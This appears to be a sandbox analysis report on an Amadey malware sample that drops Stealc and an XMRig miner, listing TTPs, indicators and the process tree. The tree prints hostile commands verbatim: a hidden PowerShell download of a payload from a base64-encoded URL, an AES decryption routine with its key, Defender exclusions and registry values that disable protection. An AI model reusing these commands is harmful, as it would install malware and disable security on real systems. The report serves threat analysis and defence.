amadey | 0536c8987bbf4c736ee1ffaba0cb1e52d1652574fcb80ab14ff7d23a40e446b2

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	d416c16af6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	d416c16af6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	d416c16af6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	d416c16af6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	d416c16af6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	d416c16af6.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2c0426f4b0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	dd6dc85460.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d416c16af6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	file.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral2/memory/4792-4011-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/4792-4014-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/4792-4017-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/4792-4018-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/4792-4015-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/4792-4016-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/4792-4010-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/4792-4019-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/4792-4020-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	2028	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2028	powershell.exe
5340	powershell.exe
632	powershell.exe
5808	powershell.exe
2028	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 14 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2c0426f4b0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dd6dc85460.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d416c16af6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2c0426f4b0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dd6dc85460.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d416c16af6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	file.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	4ZAAIhb.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoRun_WindosCPUsystem.bat	cmd.exe

Executes dropped EXE 10 IoCs

pid	Process
4580	skotes.exe
3064	4ZAAIhb.exe
2360	2c0426f4b0.exe
3188	dd6dc85460.exe
1816	ff616072d7.exe
3988	d416c16af6.exe
5504	downloaded_file.exe
4576	skotes.exe
2392	skotes.exe
5496	WindosCPUsystem.exe

Identifies Wine through registry keys 2 TTPs 7 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	2c0426f4b0.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	dd6dc85460.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	d416c16af6.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	file.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	d416c16af6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	d416c16af6.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d416c16af6.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1013371001\\d416c16af6.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2c0426f4b0.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1013368001\\2c0426f4b0.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dd6dc85460.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1013369001\\dd6dc85460.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ff616072d7.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1013370001\\ff616072d7.exe"	skotes.exe

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5924	powercfg.exe
4644	powercfg.exe
5676	powercfg.exe
5124	powercfg.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000a000000023c33-111.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs

pid	Process
1724	file.exe
4580	skotes.exe
2360	2c0426f4b0.exe
3188	dd6dc85460.exe
3988	d416c16af6.exe
4576	skotes.exe
2392	skotes.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5496 set thread context of 4792	5496	WindosCPUsystem.exe	162

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4792-4005-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4011-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4014-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4017-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4018-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4015-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4016-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4010-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4009-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4008-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4007-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4006-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4019-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/4792-4020-0x0000000140000000-0x0000000140835000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	file.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2200	2360	WerFault.exe	98

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaded_file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ff616072d7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	ff616072d7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2c0426f4b0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dd6dc85460.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	ff616072d7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d416c16af6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
808	timeout.exe

Kills process with taskkill 5 IoCs

pid	Process
2656	taskkill.exe
3480	taskkill.exe
4836	taskkill.exe
740	taskkill.exe
3908	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	firefox.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
1724	file.exe
1724	file.exe
4580	skotes.exe
4580	skotes.exe
632	powershell.exe
632	powershell.exe
2028	powershell.exe
2028	powershell.exe
2360	2c0426f4b0.exe
2360	2c0426f4b0.exe
3188	dd6dc85460.exe
3188	dd6dc85460.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
3988	d416c16af6.exe
3988	d416c16af6.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
5340	powershell.exe
5340	powershell.exe
5340	powershell.exe
5808	powershell.exe
5808	powershell.exe
5808	powershell.exe
3988	d416c16af6.exe
3988	d416c16af6.exe
3988	d416c16af6.exe
4576	skotes.exe
4576	skotes.exe
2392	skotes.exe
2392	skotes.exe
5496	WindosCPUsystem.exe
5496	WindosCPUsystem.exe
5496	WindosCPUsystem.exe
5496	WindosCPUsystem.exe
5496	WindosCPUsystem.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
5504	downloaded_file.exe
5504	downloaded_file.exe
5504	downloaded_file.exe
5556	explorer.exe
5556	explorer.exe
5556	explorer.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	632	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	2656	taskkill.exe
Token: SeDebugPrivilege	3480	taskkill.exe
Token: SeDebugPrivilege	4836	taskkill.exe
Token: SeDebugPrivilege	740	taskkill.exe
Token: SeDebugPrivilege	3908	taskkill.exe
Token: SeDebugPrivilege	4380	firefox.exe
Token: SeDebugPrivilege	4380	firefox.exe
Token: SeDebugPrivilege	5340	powershell.exe
Token: SeDebugPrivilege	5808	powershell.exe
Token: SeDebugPrivilege	3988	d416c16af6.exe
Token: SeShutdownPrivilege	5124	powercfg.exe
Token: SeCreatePagefilePrivilege	5124	powercfg.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
1724	file.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe

Suspicious use of SendNotifyMessage 31 IoCs

pid	Process
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
4380	firefox.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe
1816	ff616072d7.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4380	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 4580	1724	file.exe	83
PID 1724 wrote to memory of 4580	1724	file.exe	83
PID 1724 wrote to memory of 4580	1724	file.exe	83
PID 4580 wrote to memory of 3064	4580	skotes.exe	84
PID 4580 wrote to memory of 3064	4580	skotes.exe	84
PID 3064 wrote to memory of 228	3064	4ZAAIhb.exe	85
PID 3064 wrote to memory of 228	3064	4ZAAIhb.exe	85
PID 228 wrote to memory of 3620	228	cmd.exe	87
PID 228 wrote to memory of 3620	228	cmd.exe	87
PID 3620 wrote to memory of 3608	3620	net.exe	88
PID 3620 wrote to memory of 3608	3620	net.exe	88
PID 228 wrote to memory of 632	228	cmd.exe	89
PID 228 wrote to memory of 632	228	cmd.exe	89
PID 228 wrote to memory of 2028	228	cmd.exe	90
PID 228 wrote to memory of 2028	228	cmd.exe	90
PID 4580 wrote to memory of 2360	4580	skotes.exe	98
PID 4580 wrote to memory of 2360	4580	skotes.exe	98
PID 4580 wrote to memory of 2360	4580	skotes.exe	98
PID 4580 wrote to memory of 3188	4580	skotes.exe	106
PID 4580 wrote to memory of 3188	4580	skotes.exe	106
PID 4580 wrote to memory of 3188	4580	skotes.exe	106
PID 228 wrote to memory of 808	228	cmd.exe	108
PID 228 wrote to memory of 808	228	cmd.exe	108
PID 4580 wrote to memory of 1816	4580	skotes.exe	113
PID 4580 wrote to memory of 1816	4580	skotes.exe	113
PID 4580 wrote to memory of 1816	4580	skotes.exe	113
PID 1816 wrote to memory of 2656	1816	ff616072d7.exe	115
PID 1816 wrote to memory of 2656	1816	ff616072d7.exe	115
PID 1816 wrote to memory of 2656	1816	ff616072d7.exe	115
PID 1816 wrote to memory of 3480	1816	ff616072d7.exe	118
PID 1816 wrote to memory of 3480	1816	ff616072d7.exe	118
PID 1816 wrote to memory of 3480	1816	ff616072d7.exe	118
PID 1816 wrote to memory of 4836	1816	ff616072d7.exe	120
PID 1816 wrote to memory of 4836	1816	ff616072d7.exe	120
PID 1816 wrote to memory of 4836	1816	ff616072d7.exe	120
PID 1816 wrote to memory of 740	1816	ff616072d7.exe	122
PID 1816 wrote to memory of 740	1816	ff616072d7.exe	122
PID 1816 wrote to memory of 740	1816	ff616072d7.exe	122
PID 1816 wrote to memory of 3908	1816	ff616072d7.exe	124
PID 1816 wrote to memory of 3908	1816	ff616072d7.exe	124
PID 1816 wrote to memory of 3908	1816	ff616072d7.exe	124
PID 1816 wrote to memory of 4028	1816	ff616072d7.exe	126
PID 1816 wrote to memory of 4028	1816	ff616072d7.exe	126
PID 4028 wrote to memory of 4380	4028	firefox.exe	127
PID 4028 wrote to memory of 4380	4028	firefox.exe	127
PID 4028 wrote to memory of 4380	4028	firefox.exe	127
PID 4028 wrote to memory of 4380	4028	firefox.exe	127
PID 4028 wrote to memory of 4380	4028	firefox.exe	127
PID 4028 wrote to memory of 4380	4028	firefox.exe	127
PID 4028 wrote to memory of 4380	4028	firefox.exe	127
PID 4028 wrote to memory of 4380	4028	firefox.exe	127
PID 4028 wrote to memory of 4380	4028	firefox.exe	127
PID 4028 wrote to memory of 4380	4028	firefox.exe	127
PID 4028 wrote to memory of 4380	4028	firefox.exe	127
PID 4380 wrote to memory of 752	4380	firefox.exe	128
PID 4380 wrote to memory of 752	4380	firefox.exe	128
PID 4380 wrote to memory of 752	4380	firefox.exe	128
PID 4380 wrote to memory of 752	4380	firefox.exe	128
PID 4380 wrote to memory of 752	4380	firefox.exe	128
PID 4380 wrote to memory of 752	4380	firefox.exe	128
PID 4380 wrote to memory of 752	4380	firefox.exe	128
PID 4380 wrote to memory of 752	4380	firefox.exe	128
PID 4380 wrote to memory of 752	4380	firefox.exe	128
PID 4380 wrote to memory of 752	4380	firefox.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4580
- - C:\Users\Admin\AppData\Local\Temp\1013367001\4ZAAIhb.exe
    "C:\Users\Admin\AppData\Local\Temp\1013367001\4ZAAIhb.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C42B.tmp\C42C.tmp\C42D.bat C:\Users\Admin\AppData\Local\Temp\1013367001\4ZAAIhb.exe"
      4⤵
      Drops startup file
      Suspicious use of WriteProcessMemory
      PID:228
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3620
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:3608
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:632
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_file.bin'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2028
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:808
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "$key = [System.Text.Encoding]::UTF8.GetBytes('blMgb+WrfPrXMFxK7ymKPM3SVHUAYPt9');" "$iv = [System.Text.Encoding]::UTF8.GetBytes('5t9nsUPo0cA/tUjH');" "$aes = [System.Security.Cryptography.Aes]::Create();" "$aes.Key = $key; $aes.IV = $iv;" "$decryptor = $aes.CreateDecryptor();" "$inputFile = 'C:\Users\Admin\AppData\Local\Temp\downloaded_file.bin';" "$encryptedBytes = [System.IO.File]::ReadAllBytes($inputFile);" "$decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length);" "$outputFile = 'C:\Users\Admin\AppData\Local\Temp\downloaded_file.exe';" "[System.IO.File]::WriteAllBytes($outputFile, $decryptedBytes);"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5340
    - - C:\Users\Admin\AppData\Local\Temp\downloaded_file.exe
        
        "C:\Users\Admin\AppData\Local\Temp\downloaded_file.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        
        PID:5504
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'
        6⤵
        
        PID:5544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5808
      - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        6⤵
        Suspicious behavior: MapViewOfSection
        
        PID:5556
        
        C:\Windows\EXPLORER.EXE
        
        C:\Windows\EXPLORER.EXE {DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}
        7⤵
        
        PID:5688
        
        C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe
        
        "C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe" ""
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:5496
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        8⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:5124
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        8⤵
        Power Settings
        
        PID:5676
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        8⤵
        Power Settings
        
        PID:4644
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        8⤵
        Power Settings
        
        PID:5924
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:4792
- - C:\Users\Admin\AppData\Local\Temp\1013368001\2c0426f4b0.exe
    "C:\Users\Admin\AppData\Local\Temp\1013368001\2c0426f4b0.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2360
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2360 -s 1468
      4⤵
      Program crash
      PID:2200
- - C:\Users\Admin\AppData\Local\Temp\1013369001\dd6dc85460.exe
    "C:\Users\Admin\AppData\Local\Temp\1013369001\dd6dc85460.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3188
- - C:\Users\Admin\AppData\Local\Temp\1013370001\ff616072d7.exe
    "C:\Users\Admin\AppData\Local\Temp\1013370001\ff616072d7.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:1816
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2656
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3480
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      System Location Discovery: System Language Discovery
